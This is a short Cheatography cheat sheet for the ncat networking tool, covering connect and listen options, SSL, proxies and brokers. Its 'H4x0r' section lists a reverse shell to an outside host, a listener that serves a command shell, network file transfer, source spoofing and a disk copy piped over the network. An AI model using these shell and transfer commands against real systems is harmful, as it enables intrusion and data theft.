Cheatography

Ncat Cheat Sheet Cheat Sheet

by flacman via cheatography.com/66175/cs/16501/

Connect

ncat <ip> <port> <options>	
Basic	ncat asocolseg.co 80
Windows NewLine <cr><lf>	ncat -C asocolseg.co 80
SSL	ncat asocolseg.co 80 --ssl
IP/Port Spoofing	ncat asocolseg.co 80 -p 10 -s 192.168.1.1
HTTP Over ncat	ncat asocolseg 443 --ssl
	GET / HTTP/1.1
	Host: asocolseg.co
Telnet Over ncat	ncat -t asocolseg.co 23

Listen

ncat -l <port>	
Basic listen	ncat -l 127.0.0.1 80
Keep connection Open (SSL)	ncat -l --keep-open --ssl 80
UDP Listen	ncat -l 80 --udp
Broker (multi-chat?)	ncat -l 80 --broker
proxy	ncat -l 8080 --proxy-type http --proxy-auth usr:pass --ssl
Auto Responder	ncat -l 80 < text.html
Shell With Access Control	ncat -l 1337 -e cmd --allow 192.168.1.1

H4x0r

Name	Client	Server
Download Files	ncat asocolseg.co 1337 --ssl > out2.exe	ncat -l --ssl 1337 --send-only < ncat.exe
Upload Files	ncat asocolseg.co 1337 --ssl --send-only < ncat.exe	ncat -l --ssl 1337 > ncat.exe
Reverse shell	ncat -l 1337	ncat asocolseg.co 1337 -e cmd
Forensic Copy	dd if=/dev/sda | nc server2 1337	nc -l 1337 | dd of=/dev/sdb

By **flacman**
cheatography.com/flacman/

Not published yet.
Last updated 30th July, 2018.